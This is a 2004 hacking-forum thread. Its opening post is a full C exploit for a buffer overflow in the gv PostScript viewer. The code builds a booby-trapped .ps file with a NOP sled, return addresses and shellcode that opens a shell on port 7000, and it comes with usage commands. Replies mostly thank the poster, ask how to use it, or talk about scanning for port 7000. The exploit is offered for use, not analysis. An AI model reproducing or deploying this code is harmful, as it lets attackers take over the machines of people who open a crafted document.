Forums: Gv Postscript Viewer Remote Buffer Overflow Exploi - Forums

Jump to content

  • (2 Pages)
  • +
  • 1
  • 2
  • You cannot start a new topic
  • You cannot reply to this topic

Gv Postscript Viewer Remote Buffer Overflow Exploi

#1 User is offline   riga 

  • Private
  • Icon
  • Group: Members
  • Posts: 5
  • Joined: 06-October 03

Posted 17 August 2004 - 02:10 AM

/*
 * gv postscript viewer exploit , infamous42md AT hotpop DOT com
 *
 * run of the mill bof.  spawns a remote shell on port 7000.  woopty doo. if
 * someone has been able to exploit the heap overflow in cfengine, please email
 * me and teach me something. after days of pain i've concluded it's not 
 * possible b/c you can't manipulate the heap enough to get anything good in 
 * front of you.  please prove me wrong so i can learn.
 *
 * shouts to mitakeet
 *
 *  [n00b localho outernet] netstat -ant | grep 7000
 *  [n00b localho outernet] gcc -Wall -o gvown gvown.c
 *  [n00b localho outernet] ./gvown 0xbffff350
 *  [n00b localho outernet] ./gv h4x0ring_sacr3ts_uncuv3red.ps 
 *  [n00b localho outernet] netstat -ant | grep 7000
 *  tcp        0      0 0.0.0.0:7000            0.0.0.0:*               LISTEN   
  
 */
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define NOP 0x90
#define NNOPS 512
#define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0)
#define BS 0x10000
#define RETADDR_BYTES 400
#define PS_COMMENT "%!PS-Adobe- "
#define OUTFILE "h4x0ring_sacr3ts_uncuv3red.ps"


/* call them on port 7000, mine */
char remote[] =
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
    

int main(int argc, char **argv)
{
    int len, x, fd;
    char    buf[BS];
    u_long  retaddr;

    if(argc < 2){
        fprintf(stderr, "Usage: %s < retaddr >\n", argv[0]);
        return EXIT_FAILURE;
    }
    sscanf(argv[1], "%lx", &retaddr);

    /* create 3vil buf */
    memset(buf, NOP, BS);
    strcpy(buf, PS_COMMENT);
    len = strlen(buf);
    for(x = 0; x < RETADDR_BYTES - 3; x += sizeof(retaddr))
        memcpy(buf+x+len, &retaddr, sizeof(retaddr));
    len += x + NNOPS;
    strcpy(buf+len, remote);
    strcat(buf+len, "\n");
    len += strlen(remote) + 1;   /* + NULL */

    /* create the 3vil file */
    if( (fd = open(OUTFILE, O_RDWR|O_CREAT|O_EXCL, 0666)) < 0)
        die("open");
    
    if(write(fd, buf, len) < 0)
        die("write");

    close(fd);
    
    return 0;
}

Attached File(s)


0

#2 User is offline   SecureD 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 137
  • Joined: 09-October 03

Posted 17 August 2004 - 10:59 AM

hmmz 13 downloads and me first reply <_<

common dude's think he deserve's it!!


well tnx dude for the sploit


scan p7000 wright?? :)
0

#3 User is offline   ZakOpath 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 34
  • Joined: 30-August 03

Posted 17 August 2004 - 11:10 AM

Wow a new exploit. Is there one who can compleate it ? I tryed it self once :D dident work
0

#4 User is offline   ZakOpath 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 34
  • Joined: 30-August 03

Posted 17 August 2004 - 11:12 AM

Lol sry didt not see that its already was compleateed :P Thx for the spolit
0

#5 User is offline   SeNe 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 66
  • Joined: 14-September 03

Posted 17 August 2004 - 06:10 PM

thanks for the compiled exploit, lets try this new toy.
0

#6 User is offline   mandawar 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 40
  • Joined: 11-May 03

Posted 18 August 2004 - 02:15 AM

thanks for the nice exploit (the bin), would be useful
Mandawar
0

#7 User is offline   Killahbee 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 46
  • Joined: 01-September 03

Posted 18 August 2004 - 03:15 AM

peerke, on Aug 17 2004, 06:59 PM, said:

hmmz 13 downloads and me first reply <_<

common dude's think he deserve's it!!


well tnx dude for the sploit


scan p7000 wright?? :)

Well goodluck scanning on port 7000!!
0

#8 User is offline   jaune 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 33
  • Joined: 25-August 03

Posted 18 August 2004 - 03:46 AM

thanks for the exploit ;)
0

#9 User is offline   Bombers 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 118
  • Joined: 16-August 03

Posted 18 August 2004 - 05:07 AM

thanks for the exploit , realy nice work :P
0

#10 User is offline   SecureD 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 137
  • Joined: 09-October 03

Posted 18 August 2004 - 07:51 AM

Killahbee, on Aug 18 2004, 11:15 AM, said:

peerke, on Aug 17 2004, 06:59 PM, said:

hmmz 13 downloads and me first reply  <_<

common dude's think he deserve's it!!


well tnx dude for the sploit


scan p7000 wright?? :)

Well goodluck scanning on port 7000!!

get lost bart <_<


already found the right one
0

#11 User is offline   fre4k 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 122
  • Joined: 29-January 04

Posted 18 August 2004 - 08:06 AM

what`s the right port to scan ? :huh: Port: 7000 spawns a remote shell on port and it isn`t the port to scan! ;)
0

#12 User is offline   clems[ 

  • Private
  • Icon
  • Group: Members
  • Posts: 10
  • Joined: 07-September 03

Posted 18 August 2004 - 11:44 PM

What s the command to use it ?? i don t understand
Thanks
0

#13 User is offline   riga 

  • Private
  • Icon
  • Group: Members
  • Posts: 5
  • Joined: 06-October 03

Posted 20 August 2004 - 07:53 AM

Description:
Local buffer overflow exploit for gv postscript viewer. Spawns a shell on port 7000.

http://packetstormse...-exploit.c.html

Edit: ohh sorry wrong information that is 4 the local sploit

sorry 4 my bad english ^^
0

#14 User is offline   prog 

  • Corporal
  • Icon
  • Group: Members
  • Posts: 159
  • Joined: 26-February 04

Posted 20 August 2004 - 11:22 AM

The default port number is "40701".

is that correct?
0

#15 User is offline   ZakOpath 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 34
  • Joined: 30-August 03

Posted 21 August 2004 - 12:34 AM

I having some probs whit cygwin.dll.. I ahve it in my system32 dir but there is this stuid error popping up all the time
0

  • (2 Pages)
  • +
  • 1
  • 2
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users

  • Share



Our Sponsors:


SwiftLayer Affiliate Web Hosting